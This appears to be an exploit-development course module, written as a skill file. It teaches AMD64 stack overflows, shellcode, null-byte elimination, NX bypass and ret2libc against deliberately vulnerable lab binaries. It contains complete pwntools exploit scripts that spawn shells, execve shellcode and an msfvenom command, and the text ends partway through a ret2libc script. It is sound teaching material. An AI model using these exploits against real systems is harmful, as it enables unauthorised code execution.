Week 5 exploit development curriculum. Foundational exploitation techniques: controlling EIP/RIP, ROP chain construction, ret2libc, shellcode injection, heap spraying, bypass techniques for ASLR/NX/stack canaries. Use when building initial PoCs or understanding classic exploitation primitives.
Use this skill when the conversation involves any of:
basic exploitation, EIP control, RIP control, ROP chain, ret2libc, shellcode injection, heap spray, ASLR bypass, NX bypass, stack canary bypass, week 5
When this skill is active:
---------------- | ----------------- | -------------------------- |
| Register prefix | E (EAX, EBP, ESP) | R (RAX, RBP, RSP) |
| Instruction pointer | EIP | RIP |
| Address size | 4 bytes | 8 bytes |
| Arguments | All on stack | RDI, RSI, RDX, RCX, R8, R9 |
| Return value | EAX | RAX |
| Syscall instruction | int 0x80 | syscall |
| Stack alignment | 4-byte | 16-byte before call |
System V AMD64 ABI Calling Convention:
; AMD64 function call: func(arg1, arg2, arg3, arg4, arg5, arg6, arg7)
; Arguments in order:
; RDI = arg1
; RSI = arg2
; RDX = arg3
; RCX = arg4
; R8 = arg5
; R9 = arg6
; stack = arg7+ (pushed right-to-left)
; Return value: RAX
; Example: write(1, buf, len)
mov rdi, 1 ; fd = stdout
mov rsi, buf ; buffer address
mov rdx, len ; length
call write
; Syscall convention (slightly different):
; RAX = syscall number
; RDI, RSI, RDX, R10, R8, R9 = arguments (note: R10 instead of RCX!)
; syscall instruction (not int 0x80)
Function Call Mechanics (AMD64):
; Calling a function (AMD64)
; Arguments go in registers (first 6)
mov rdi, arg1
mov rsi, arg2
call function ; Pushes 8-byte return address
; Inside function
function:
push rbp ; Save old base pointer (8 bytes)
mov rbp, rsp ; Set new base pointer
sub rsp, 0x40 ; Allocate space for locals (must maintain 16-byte alignment)
; Function body...
mov rsp, rbp ; Restore stack pointer (or: leave)
pop rbp ; Restore base pointer
ret ; Return (pops return address into RIP)
Buffer Overflow Visualization (AMD64):
Before overflow:
┌──────────────────┐
│ buffer[64] │ ← strcpy writes here
├──────────────────┤
│ saved RBP │ (8 bytes on AMD64)
├──────────────────┤
│ return address │ (8 bytes on AMD64)
└──────────────────┘
After overflow with 80 'A's:
┌──────────────────┐
│ AAAAAAAAAA... │ ← buffer filled (64 bytes)
├──────────────────┤
│ AAAAAAAA │ ← saved RBP overwritten (8 bytes)
├──────────────────┤
│ AAAAAAAA │ ← return address overwritten! (8 bytes)
└──────────────────┘
When function returns:
- Pops 0x4141414141414141 into RIP
- CPU tries to execute at 0x4141414141414141
- Segmentation fault (or controlled execution if address is valid)
vuln1.c:
#include <stdio.h>
#include <string.h>
void vulnerable_function() {
char buffer[64];
printf("Enter input: ");
gets(buffer); // Vulnerable! No bounds checking, allows null bytes
printf("You entered: %s\n", buffer);
}
// Add this function to vuln1.c to include jmp rsp bytes
void gadgets() {
__asm__("jmp *%rsp"); // This creates a jmp rsp gadget
}
int main() {
printf("Buffer overflow example\n");
vulnerable_function();
printf("Returned safely\n");
return 0;
}
Compile without protections (AMD64):
cd ~/exploit
# AMD64 compilation (no -m32!)
# -w suppresses the gets() deprecation warning
make disabled BINARY=vuln1 SOURCE=vuln1.c
#gcc -g -O0 -w \
# -fno-stack-protector \
# -fcf-protection=none \
# -z execstack \
# -no-pie \
# -o vuln1 \
# vuln1.c
#checksec --file=./vuln1
Step 1: Cause a Crash:
# Try various sizes via stdin
echo "AAAA" | ./vuln1
# Works fine
python3 -c "print('A' * 100)" | ./vuln1
# Segmentation fault
Step 2: Find Exact Offset (using pattern):
#!/usr/bin/env python3
#~/exploit/4.py
from pwn import *
context.arch = 'amd64'
# Generate cyclic pattern
pattern = cyclic(100)
print(pattern)
# Run program with pattern via stdin
# aslr=False + env={} for consistent addresses during learning
p = process('./vuln1', aslr=False, env={})
p.sendline(pattern)
p.wait()
In GDB with pwndbg (AMD64):
gdb ./vuln1
# Run and send pattern via stdin
pwndbg> run < <(python3 -c "from pwn import *; print(cyclic(100).decode())")
# Or run, then paste pattern when prompted:
#pwndbg> run
#Enter input: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
# Find offset from crash (RSP contains the pattern)
pwndbg> cyclic -n 4 -l saaa
# Output: 72
# So offset is 72 bytes (64 buffer + 8 saved RBP)
Verify Offset (AMD64):
# ~/exploit/5.py
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# Build payload
payload = b"A" * 72 # Fill buffer + saved RBP
payload += p64(0xdeadbeefcafebabe) # Overwrite return address (8 bytes)
# Run and send via stdin (aslr=False for learning)
p = process('./vuln1', aslr=False, env={})
p.sendline(payload)
p.wait()
In GDB (AMD64):
gdb ./vuln1
pwndbg> run < <(python3 -c "import sys; sys.stdout.buffer.write(b'A'*72 + b'\xbe\xba\xfe\xca\xef\xbe\xad\xde')")
# Program crashes at ret instruction
# Check the stack:
pwndbg> x/gx $rsp
# 0x7fffffffe0b8: 0xdeadbeefcafebabe <- We control the return address!
Working Exploit for vuln1 (stdin-based)
#!/usr/bin/env python3
# ~/exploit/exploit_vuln1.py
"""
Stack Buffer Overflow Exploit Template (stdin-based)
Target: vuln1 (reads input via gets() from stdin)
Vulnerability: gets() has no bounds checking, allows null bytes
Technique: ret2shellcode via jmp rsp gadget
"""
from pwn import *
# ============ SETUP (AMD64) ============
binary_path = './vuln1'
elf = ELF(binary_path)
context.binary = elf # Sets arch=amd64 automatically
# ============ OFFSETS ============
# vulnerable_function() has: char buffer[64]
# Stack layout: [buffer:64] [saved RBP:8] [return addr:8]
OFFSET = 64 + 8 # = 72 bytes to overwrite return address
# ============ EXPLOIT ============
def exploit():
# For LEARNING: Disable ASLR, clean environment for consistent addresses
# For PRODUCTION: Use leaks and relative addressing
# NOTE: stdin=PTY, stdout=PTY forces unbuffered output so prompts arrive
# before input is needed (otherwise printf buffers when piped)
p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
# Alternatively, for remote targets:
# p = remote('target.host', 1337)
# Wait for prompt (important for synchronization!)
p.recvuntil(b'Enter input: ')
# ============ FIND GADGET ============
# Our vuln1.c includes a jmp rsp gadget in gadgets()
# Find it: ROPgadget --binary vuln1 | grep "jmp rsp"
# Or use pwntools:
rop = ROP(elf)
try:
jmp_rsp = rop.find_gadget(['jmp rsp'])[0]
except:
# Fallback: search for the bytes
jmp_rsp = next(elf.search(asm('jmp rsp')))
log.info(f"jmp rsp gadget @ {hex(jmp_rsp)}")
# ============ BUILD PAYLOAD ============
# Shellcode goes AFTER the return address (we jump to RSP)
shellcode = asm(shellcraft.amd64.linux.sh())
log.info(f"Shellcode length: {len(shellcode)} bytes")
payload = b'A' * OFFSET # Fill buffer + saved RBP
payload += p64(jmp_rsp) # Overwrite return address with jmp rsp
payload += shellcode # Shellcode right after return addr
# RSP points here after ret!
log.info(f"Total payload: {len(payload)} bytes")
# ============ SEND PAYLOAD ============
# sendline() sends raw bytes over the pipe - null bytes work fine!
# This is the proper way to deliver exploits
p.sendline(payload)
# ============ GET SHELL ============
log.success("Payload sent! Switching to interactive mode...")
p.interactive()
def debug():
"""Debug mode - attach GDB manually"""
p = process(binary_path, aslr=False, env={}, stdin=PTY, stdout=PTY)
log.info("Run the following commands in a SECOND terminal")
log.info("gdb -p $(pidof vuln1)")
log.info("b vulnerable_function")
log.info("c")
pause()
p.recvuntil(b'Enter input: ')
payload = cyclic(200)
p.sendline(payload)
p.interactive()
if __name__ == '__main__':
if args.GDB:
debug()
else:
exploit()
# Usage:
# python3 exploit_vuln1.py - Run exploit
# python3 exploit_vuln1.py GDB - Debug with GDB attached
#
# Why stdin (not argv)?
# 1. Real exploits use network sockets or file input, not CLI args
# 2. pwntools handles null bytes transparently over pipes
# 3. Works identically for local process() and remote()
# 4. No shell escaping issues or argument parsing problems
Linux AMD64 Shellcode Basics:
Syscall Convention (AMD64):
syscall instruction triggers syscall (NOT int 0x80!)rax = syscall numberrdi, rsi, rdx, r10, r8, r9 = arguments (note: r10 instead of rcx)rax
execve("/bin/sh", NULL, NULL) Shellcode (AMD64):
; AMD64 execve syscall (rax = 59)
; rdi = pointer to "/bin/sh"
; rsi = NULL (argv)
; rdx = NULL (envp)
section .text
global _start
_start:
; Clear registers
xor rsi, rsi ; rsi = NULL (argv)
xor rdx, rdx ; rdx = NULL (envp)
; Push "/bin/sh" onto stack (with NULL terminator)
xor rax, rax
push rax ; NULL terminator
mov rax, 0x68732f6e69622f2f ; "//bin/sh" in little-endian
push rax
; Set up execve
mov rdi, rsp ; rdi = pointer to "//bin/sh"
xor rax, rax
mov al, 59 ; rax = 59 (execve syscall number)
; Execute
syscall ; Trigger syscall (NOT int 0x80!)
Assemble and Extract Bytes (AMD64):
cd ~/exploit
# Save as shellcode.asm
nasm -f elf64 shellcode.asm -o shellcode.o
ld -o shellcode shellcode.o
# Extract shellcode bytes
objdump -d shellcode -M intel
# Or use this one-liner
for i in $(objdump -d shellcode -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done; echo
Result (23 bytes AMD64 shellcode):
shellcode = b"\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xc0\xb0\x3b\x0f\x05"
Test Shellcode Standalone (AMD64):
#!/usr/bin/env python3
#~/exploit/6.py
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
# Generate shellcode with pwntools (preferred - handles arch automatically)
shellcode = asm(shellcraft.amd64.linux.sh())
# Method 1: Use run_shellcode (simplest)
p = run_shellcode(shellcode)
p.interactive()
# Should get shell!
# Method 2: Create executable and run
# Useful for debugging
#with open('/tmp/sc.bin', 'wb') as f:
# f.write(shellcode)
exploit1.py (AMD64):
#!/usr/bin/env python3
"""
Stack Buffer Overflow Exploit for vuln1 (AMD64)
Technique: Direct ret2shellcode via stdin
Target: vuln1 (no protections, stdin-based input)
Run with: python exploit1.py
"""
from pwn import *
# Configuration
binary = './vuln1'
elf = ELF(binary)
context.binary = elf # Sets arch=amd64 automatically
offset = 72 # 64 buffer + 8 saved RBP
# Shellcode with stack pivot to prevent self-destruction
# The pwntools shellcode uses push instructions which write backwards on the stack.
# After ret, RSP points just past our payload - push would overwrite our shellcode!
# Solution: Move RSP away first with "sub rsp, 0x100"
stack_pivot = asm('sub rsp, 0x100')
shellcode = stack_pivot + asm(shellcraft.amd64.linux.sh())
def exploit():
# Start process with ASLR disabled using setarch wrapper
# env={} clears environment variables for consistent stack addresses
p = process(['setarch', 'x86_64', '-R', binary], env={})
# Get buffer address by analyzing a crash:
# 1. Generate payload with dummy address:
# python3 -c "from pwn import *; ..." > payload.bin
# 2. Run and get core dump:
# ulimit -c unlimited
# env -i setarch x86_64 -R ./vuln1 < payload.bin
# 3. Analyze core to find actual buffer location:
# gdb ./vuln1 core
# RSP after ret shows where we are on stack
# Buffer = (saved RBP location) - 0x40
#
# Note: GDB adds ~0x60 bytes to stack even with env -i, so addresses
# found in GDB need adjustment for standalone execution.
buffer_addr = 0x7fffffffecc0
# Build payload:
# [NOP sled][stack_pivot + shellcode][padding][return address -> buffer]
payload = b"\x90" * 16 # NOP sled for tolerance
payload += shellcode # Stack pivot + shellcode
payload += b"A" * (offset - len(payload)) # Padding to fill offset
payload += p64(buffer_addr) # Return to start of buffer (8 bytes)
log.info(f"Shellcode length: {len(shellcode)}")
log.info(f"Total payload: {len(payload)}")
log.info(f"Jumping to: {hex(buffer_addr)}")
# Send payload via stdin
p.sendline(payload)
# Interact with shell
p.interactive()
if __name__ == "__main__":
exploit()
Better Approach: Using jmp rsp Gadget (AMD64) (More Reliable):
[!TIP] Hardcoding stack addresses is fragile—addresses vary between GDB and normal execution, different terminals, environment sizes, etc. A
jmp rsporcall rspgadget provides a stable return target since RSP points to our controlled data afterret.
#!/usr/bin/env python3
#~/exploit/exploit2.py
"""
ret2shellcode using jmp rsp gadget (AMD64)
This approach is more reliable than hardcoded stack addresses because:
- Works regardless of environment variable differences
- No need to guess exact stack layout
- RSP points to our shellcode right after ret executes
"""
from pwn import *
binary = './vuln1'
elf = ELF(binary)
context.binary = elf # Sets arch=amd64
def find_jmp_rsp():
"""Find a jmp rsp or call rsp gadget in the binary"""
# Search for jmp rsp (0xff 0xe4) or call rsp (0xff 0xd4)
try:
jmp_rsp = next(elf.search(asm('jmp rsp')))
log.success(f"Found jmp rsp at {hex(jmp_rsp)}")
return jmp_rsp
except StopIteration:
pass
try:
call_rsp = next(elf.search(asm('call rsp')))
log.success(f"Found call rsp at {hex(call_rsp)}")
return call_rsp
except StopIteration:
pass
# Try ROPgadget as fallback
log.warning("No jmp/call rsp in binary, trying ROPgadget...")
# Run: ROPgadget --binary ./vuln1 | grep "jmp rsp\|call rsp"
return None
def exploit():
offset = 72 # 64 buffer + 8 saved RBP (AMD64)
# Find jmp rsp gadget
jmp_rsp = find_jmp_rsp()
if not jmp_rsp:
log.error("No jmp rsp gadget found! Use fixed address method instead.")
return
# Shellcode (placed AFTER return address)
shellcode = asm(shellcraft.amd64.linux.sh())
# Payload layout:
# [padding (72 bytes)][jmp_rsp addr (8 bytes)][nop sled][shellcode]
# After ret: RIP = jmp_rsp, RSP points to nop sled
payload = b"A" * offset # Fill buffer + saved RBP
payload += p64(jmp_rsp) # Return to jmp rsp (8 bytes!)
payload += b"\x90" * 16 # NOP sled (RSP lands here)
payload += shellcode # Shellcode executes
# Launch and send via stdin
p = process(binary)
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
exploit()
When your exploit doesn't work (it won't on the first try!), use these systematic debugging techniques.
Method 1: GDB Attach with pwntools
#!/usr/bin/env python3
#~/exploit/exploit_debug.py
from pwn import *
elf = ELF('./vuln1')
context.binary = elf # Sets arch=amd64
# Start process with ASLR disabled and clean env for learning
p = process('./vuln1', aslr=False, env={})
# Print PID and pause - attach GDB manually in another terminal/SSH session
log.info(f"Process PID: {p.pid}")
log.info(f"Attach GDB in another terminal: gdb -p {p.pid}")
input("Press Enter after attaching GDB and setting breakpoints...")
# Build and send payload (AMD64)
payload = b'A' * 72 + p64(0xdeadbeefcafe)
p.sendline(payload)
# Interact with the process
p.interactive()
Usage:
# Terminal 1: Run exploit
python exploit_debug.py
# It will print PID and wait...
# Terminal 2: Attach GDB
gdb -p <PID>
(gdb) break *vulnerable_function+74
(gdb) continue
# Press Enter in Terminal 1 to send payload
Example Debug Session Output:
After hitting the breakpoint at ret, you'll see something like:
pwndbg> # At ret instruction - examine the stack
pwndbg> x/20gx $rsp-0x60
0x7ffd11d25cb8: 0x0000000000403e00 0x00007ffd11d25d10
0x7ffd11d25cc8: 0x000000000040118e 0x4141414141414141 <- Buffer starts here
0x7ffd11d25cd8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25ce8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25cf8: 0x4141414141414141 0x4141414141414141
0x7ffd11d25d08: 0x4141414141414141 0x4141414141414141 <- Saved RBP (overwritten)
0x7ffd11d25d18: 0x0000deadbeefcafe 0x00007ffd11d25d00 <- Return address (overwritten)
Interpreting the output:
0x7ffd11d25cd0 (first A's at offset 0x8 from 0x7ffd11d25cc8)0x4141414141414141) fill 64 bytes of buffer + 8 bytes of saved RBP0x7ffd11d25d18 contains our value 0xdeadbeefcafe
Method 2: Step-by-Step GDB Analysis (AMD64)
# Start GDB with ASLR disabled for consistent addresses
env -i setarch x86_64 -R gdb ./vuln1
# Set breakpoint at ret instruction (vulnerable_function+74)
pwndbg> break *vulnerable_function+74
pwndbg> run
# Program waits for input - type pattern to find offset:
Enter input: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC
# At breakpoint, examine key registers:
pwndbg> info registers rbp rsp rip
# RBP = 0x4242424242424242 (BBBBBBBB) - confirms offset 64 to saved RBP
# RSP points to return address location
# View stack layout around buffer:
pwndbg> x/20gx $rsp-0x60
# Find buffer address:
pwndbg> print $rbp - 0x40 # Buffer is at [rbp - 0x40] before overflow
# Or calculate from current RSP:
# buffer_addr = RSP - 8 (saved RBP) - 64 (buffer) = RSP - 72
# Step into ret to see crash:
pwndbg> si
# Will crash trying to jump to 0x4343434343434343 (CCCCCCCC)
# For automated testing with payload file:
#pwndbg> run < payload.bin
Common Debugging Scenarios:
| Symptom | Likely Cause | Debug Command |
|---|---|---|
| Crash at wrong address | Offset incorrect | cyclic -l <crash_addr> |
| Crash at correct addr but no shell | Shellcode bad or wrong location | x/20i <shellcode_addr> |
| "Illegal instruction" | Bad shellcode or architecture mismatch | Check context.binary |
| Segfault in libc | Stack alignment (AMD64!) | Add extra ret gadget |
| Works in GDB, fails outside | Environment variable difference | setarch -R ./vuln |
The GDB vs Real Execution Problem:
The stack layout differs between GDB and normal execution due to environment variables:
# See the difference
env | wc -l # Count env vars
env -i ./vuln1 # Run with empty environment
# In GDB, minimize environment
gdb -q ./vuln1
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env # Should be minimal
# Or use this pwntools trick to match addresses
p = process('./vuln1', env={}) # Empty environment
Essential pwndbg Commands for Exploit Development (AMD64):
# Address finding
pwndbg> vmmap # Memory map (find stack, libc, etc.)
pwndbg> search -s "/bin/sh" # Find string in memory
pwndbg> got # Show GOT entries
# Payload verification
pwndbg> hexdump $rsp 100 # View your payload on stack
pwndbg> telescope $rsp 20 # Smart stack display (shows dereferences)
# Execution tracing
pwndbg> nearpc # Show instructions around PC
pwndbg> context # Full context display
pwndbg> retaddr # Show return addresses on stack
# Exploit helpers
pwndbg> rop # Find ROP gadgets (slow)
pwndbg> checksec # Binary protections
Debugging Checklist (Use Before Asking for Help!):
cyclic pattern, confirm with cyclic -l (use full 8-byte value on AMD64!)print &function in GDBcontext.arch = 'amd64', use p64() not p32()
p64()
\x00, \x0a, \x0d in payloadchecksec should show "NX disabled"setarch -R or GDB's defaultenv -i or env={} in pwntoolsrun_shellcode() in pwntoolscall
Stack addresses differ between environments due to variables like LINES, COLUMNS, PWD, TERM, and program name length. This is the #1 cause of "works in GDB, fails outside" issues.
The Problem:
Normal execution: GDB execution: Different terminal:
┌─────────────────┐ ┌─────────────────┐ ┌─────────────────┐
│ env vars (big) │ │ env vars + GDB │ │ different env │
│ PWD=/long/path │ │ extra vars │ │ COLUMNS=120 │
├─────────────────┤ ├─────────────────┤ ├─────────────────┤
│ argv, argc │ │ argv, argc │ │ argv, argc │
├─────────────────┤ ├─────────────────┤ ├─────────────────┤
│ Stack │ │ Stack │ │ Stack │
│ buffer @ 0xABC │ │ buffer @ 0xA00 │ │ buffer @ 0xB00 │
└─────────────────┘ └─────────────────┘ └─────────────────┘
↑ Different addresses due to env var size!
Solution: Force Consistent Environment:
# Method 1: Clear all environment variables
env -i ./exploit
# Method 2: Clear and set minimal required vars
env -i PWD=$(pwd) ./exploit
# Method 3: In pwntools (RECOMMENDED for learning)
from pwn import *
p = process('./vuln', env={}) # Empty environment
# Or with minimal vars:
p = process('./vuln', env={'PWD': os.getcwd()})
# Method 4: Disable ASLR per-process (pwntools, best for learning)
p = process('./vuln', aslr=False, env={})
The "It Works on My Machine" Checklist
process() typically uses PTY (unbuffered).nc or sockets are often fully buffered or line-buffered.p.recvuntil(b'prompt') before sending. Never rely on sleep() unless absolutely necessary.p.recv() is dangerous—it returns some data, not all data.p.clean() removes unread data (useful before sending payload).p.sendline() adds \n. Ensure target expects \n and not just raw bytes.env vars than your GDB session.0x7ffffff...).GDB Environment Matching:
# In GDB, clear problematic variables
gdb -q ./vuln
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) unset env TERM
(gdb) show env # Verify minimal environment
(gdb) run
# Or start GDB with clean environment
env -i gdb -q ./vuln
pwntools Best Practice for Learning:
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./vuln')
# For LEARNING phase: disable ASLR and clear env
# This ensures consistent addresses across runs
p = process('./vuln', aslr=False, env={})
# For PRODUCTION exploits: use leaks and relative offsets
# p = process('./vuln') # Real-world: ASLR enabled
Verification:
# Compare stack addresses with different environments
env -i ./vuln # Note buffer address
./vuln # Different address!
env -i PWD=x ./vuln # Yet another address
# Find the delta between GDB and real execution
# GDB typically adds ~0x60-0x100 bytes to stack
[!WARNING] Always use
env -iorenv={}when developing exploits with hardcoded addresses! Once your exploit works, convert to using leaks for portability.
Steps:
Compile Target (AMD64):
make training-shellcode SOURCE=vuln1.c BINARY=vuln1
#gcc -g -O0 -fno-stack-protector -z execstack -no-pie vuln1.c -o vuln1
#checksec --file=./vuln1
Find Offset (AMD64 uses 8-byte patterns):
pwn cyclic 200
# copy output
gdb ./vuln1
run
# paste as input
# Note the 4-byte crash value for RIP
cyclic -n 4 -l <4_byte_crash_value>
Find Stack Address (or jmp rsp gadget):
ROPgadget --binary ./vuln1 | grep "jmp rsp"
Build Exploit (AMD64):
asm(shellcraft.amd64.linux.sh()))p64())Test Exploit:
python3 exploit1.py
# Should get shell
id
whoami
Success Criteria:
Use one of your Week 4 deliverables (reproduction fidelity + minimized crash) and turn it into a working Day 1 exploit.
Inputs from Week 4:
Task:
Success Criteria:
Reuse the Week 2 AFL++ workflow, but target a Week 5 binary.
Goal: produce a fuzzer-found crashing input for a Day 1 style target, minimize it, then turn it into a working exploit.
Task:
afl-fuzz until you get a crash.afl-tmin.Success Criteria:
afl-tmin produces a smaller reproducer that still crashesIssue 1: Segfault at wrong address
# Check actual RIP value (AMD64)
gdb ./vuln1
run
# add exploit
info registers rip
# Adjust return address in exploit
Issue 2: Shellcode not executing
# Verify shellcode is correct AMD64 shellcode
python3 -c "from pwn import *; context.arch='amd64'; print(asm(shellcraft.amd64.linux.sh()).hex())"
# Check stack is executable
readelf -l vuln1 | grep STACK
# Should show RWE (Read Write Execute)
Issue 3: Stack address wrong
# Stack addresses may vary slightly
# Use larger NOP sled (100-200 bytes)
# Adjust return address to middle of NOP sled
0xdeadbeef becomes \xef\xbe\xad\xde
p64() for 64-bit binaries\x00) terminate strings in strcpy. Other common bad chars: \x0a (newline), \x0d (carriage return), \x20 (space)call for some libc functions (add extra ret gadget if crashes in libc)Why This Matters: String functions like strcpy(), gets(), and scanf("%s") stop at null bytes. If your shellcode contains \x00, it gets truncated.
Common Null Byte Sources:
| Instruction | Bytes | Problem | Solution |
|---|---|---|---|
mov rax, 0 |
48 c7 c0 00 00 00 00 |
Immediate 0 | xor eax, eax → 31 c0 |
mov rdi, 0x68732f6e69622f |
Contains nulls | String padding | Use push/mov sequences |
mov al, 59 |
b0 3b |
No nulls! | OK as-is |
syscall |
0f 05 |
No nulls | OK as-is |
Task: Convert this null-containing shellcode to null-free:
; Original (contains null bytes)
; execve("/bin/sh", NULL, NULL)
BITS 64
section .text
global _start
_start:
mov rax, 59 ; 48 c7 c0 3b 00 00 00 - CONTAINS NULLS!
mov rdi, binsh ; 48 bf XX XX XX XX XX XX XX XX - address likely has nulls
mov rsi, 0 ; 48 c7 c6 00 00 00 00 - CONTAINS NULLS!
mov rdx, 0 ; 48 c7 c2 00 00 00 00 - CONTAINS NULLS!
syscall
section .data
binsh: db "/bin/sh", 0 ; Contains null terminator!
Solution: Null-Free Version:
; Null-free execve("/bin/sh", NULL, NULL)
BITS 64
section .text
global _start
_start:
; Clear registers without using immediate 0
xor eax, eax ; 31 c0 - clears RAX (zero-extends to 64-bit)
xor esi, esi ; 31 f6 - clears RSI
xor edx, edx ; 31 d2 - clears RDX
; Push "/bin/sh" onto stack (reverse order, no null in code)
; "/bin/sh" = 0x68732f6e69622f2f with extra / ("/bin//sh")
push rax ; Null terminator on stack
mov rdi, 0x68732f2f6e69622f ; "/bin//sh" (no embedded nulls)
push rdi
mov rdi, rsp ; RDI = pointer to "/bin//sh\0"
; Set syscall number without nulls
mov al, 59 ; b0 3b - only sets AL, RAX already 0
syscall ; 0f 05 - execute!
pwntools Verification:
# ~/exploit/7.py
#!/usr/bin/env python3
from pwn import *
context.arch = 'amd64'
# Check for null bytes in shellcode
shellcode = asm('''
xor eax, eax
xor esi, esi
xor edx, edx
push rax
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
mov al, 59
syscall
''')
# Verify no null bytes
if b'\x00' in shellcode:
print(f"[!] FAIL: Shellcode contains null bytes!")
print(f" Position: {shellcode.index(b'\\x00')}")
print(f" Bytes: {shellcode.hex()}")
else:
print(f"[+] SUCCESS: Null-free shellcode ({len(shellcode)} bytes)")
print(f" {shellcode.hex()}")
# Test it
print("\n[*] Testing shellcode...")
run_shellcode(shellcode).interactive()
Null-Byte Elimination Techniques:
| Original | Null-Free Replacement | Notes |
|---|---|---|
mov rax, 0 |
xor eax, eax |
Zero-extends to 64-bit |
mov rdi, 0 |
xor edi, edi |
Zero-extends to 64-bit |
mov rax, small_num |
xor eax, eax; mov al, num |
For values < 256 |
mov rax, imm64 |
push imm32; pop rax |
If value fits in 32-bit |
| String in .data | push string onto stack |
Build string at runtime |
jmp label with null offset |
Use short jumps or restructure | Relative offset issue |
Identifying Bad Characters:
#~/exploit/8.py
from pwn import *
# Find all bad characters in your shellcode
def find_bad_chars(shellcode, bad_chars=b'\x00\x0a\x0d\x20'):
found = []
for i, byte in enumerate(shellcode):
if bytes([byte]) in bad_chars:
found.append((i, hex(byte)))
return found
shellcode = asm(shellcraft.sh())
bad = find_bad_chars(shellcode)
if bad:
print(f"Bad characters at: {bad}")
else:
print("Shellcode is clean!")
[!TIP] Use pwntools
shellcraftwith encoders for complex shellcode:# Automatically generate null-free shellcode shellcode = asm(shellcraft.amd64.linux.sh()) # Or use msfvenom: msfvenom -p linux/x64/exec CMD=/bin/sh -f python -b '\x00'
Debugging Tips:
# Per-process ASLR disable (DON'T disable system-wide!)
setarch x86_64 -R ./binary
# Or in pwntools: p = process('./binary', aslr=False)
# Run with same environment as GDB
env -i ./binary
# Generate core dumps for post-crash analysis
ulimit -c unlimited
./binary $(python3 -c "print('A'*200)")
gdb ./binary core
# Trace syscalls/library calls
strace ./binary
ltrace ./binary
-z execstack required for shellcodesetarch -R or GDB, NOT system-widep64() not p32()
read() instead of gets()?system() or execve() from libc to spawn a shell, just like we will do today.vuln2 built with NX enabled and verified with checksec
main
libc.address correctly computed from the leakWhat is NX?:
Enable NX for Practice (AMD64):
# Compile with NX enabled (no -z execstack)
make disabled SOURCE=vuln1.c BINARY=vuln1_nx
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln1.c -o vuln1_nx
# Verify NX enabled
# checksec --file=./vuln1_nx
# Stack: NX enabled
# Try old exploit(edit it to use vuln_nx)
python3 exploit1.py
# Segmentation fault (shellcode doesn't execute)
Concept:
libc provides useful functions (system, execve, etc.)[!IMPORTANT] AMD64 Calling Convention: Unlike x86 where arguments go on the stack, AMD64 passes the first 6 arguments in registers: RDI, RSI, RDX, RCX, R8, R9. This means we need gadgets to load registers before calling functions!
[!CAUTION] Never hardcode libc addresses! Even with ASLR disabled for testing, addresses change between libc versions and systems. Always use the leak → compute base → build ROP pattern.
The Real-World Pattern:
1. Stage 1: Leak a libc address (e.g., puts@got)
2. Compute libc base: libc.address = leaked_addr - libc.symbols['puts']
3. Stage 2: Build ROP chain with calculated addresses
4. Exploit: Call system("/bin/sh") or execve
Why This Matters:
This is the most important skill in basic exploitation. Even with ASLR "disabled" in labs, always practice the leak pattern.
vuln2.c (Vulnerable program for leak practice):
#include <stdio.h>
#include <string.h>
// Gadget functions - ensure useful ROP gadgets exist in binary
// These create pop rdi; ret and other gadgets we need
void gadgets() {
__asm__ volatile (
"pop %rdi; ret\n" // pop rdi; ret - for first argument
"pop %rsi; ret\n" // pop rsi; ret - for second argument
"pop %rdx; ret\n" // pop rdx; ret - for third argument
"ret\n" // ret - for stack alignment
);
}
void vulnerable() {
char buffer[64];
printf("Enter input: ");
fflush(stdout);
gets(buffer); // Vulnerable! Allows overflow and null bytes
printf("You entered: %s\n", buffer);
}
int main() {
setvbuf(stdout, NULL, _IONBF, 0); // Disable buffering for reliable I/O
puts("ROP Practice - ret2libc with leak");
vulnerable();
puts("Done!"); // Important: binary must import puts for our leak!
return 0;
}
Compile (AMD64, NX enabled):
cd ~/exploit
make disabled SOURCE=vuln2.c BINARY=vuln2
# gcc -g -O0 -fno-stack-protector -no-pie -fcf-protection=none vuln2.c -o vuln2
# checksec --file=./vuln2
# Verify: NX enabled, No canary, No PIE, SHSTK/IBT disabled
Complete Leak-Based Exploit (AMD64):
#!/usr/bin/env python3
#~/exploit/9.py
"""
Canonical ret2libc with leak - AMD64
This is THE pattern to learn. It works on real systems with ASLR.
Pattern: leak → compute libc base → build ROP → shell
Step 1: ROP to puts(puts@got), return to main
Step 2: Parse leaked puts address
Step 3: Compute libc.address = leak - libc.symbols['puts']
Step 4: Build final ROP: system("/bin/sh")
"""
from pwn import *
# ============ SETUP ============
binary_path = './vuln2'
elf = ELF(binary_path)
context.binary = elf # Sets arch=amd64
# Load libc - use the ACTUAL libc on target system!
# On Ubuntu: /lib/x86_64-linux-gnu/libc.so.6
# For remote: download from target or use libc database
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# ============ GADGETS ============
# AMD64 needs gadgets to load registers before function calls
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # Almost always needed
ret = rop.find_gadget(['ret'])[0] # For stack alignment
log.info(f"pop rdi; ret @ {hex(pop_rdi)}")
log.info(f"ret @ {hex(ret)}")
# ============ ADDRESSES ============
puts_plt = elf.plt['puts'] # PLT stub to call puts
puts_got = elf.got['puts'] # GOT entry (contains libc address after first call)
main_addr = elf.symbols['main'] # Return here after leak
log.info(f"puts@plt: {hex(puts_plt)}")
log.info(f"puts@got: {hex(puts_got)}")
log.info(f"main: {hex(main_addr)}")
# ============ EXPLOIT ============
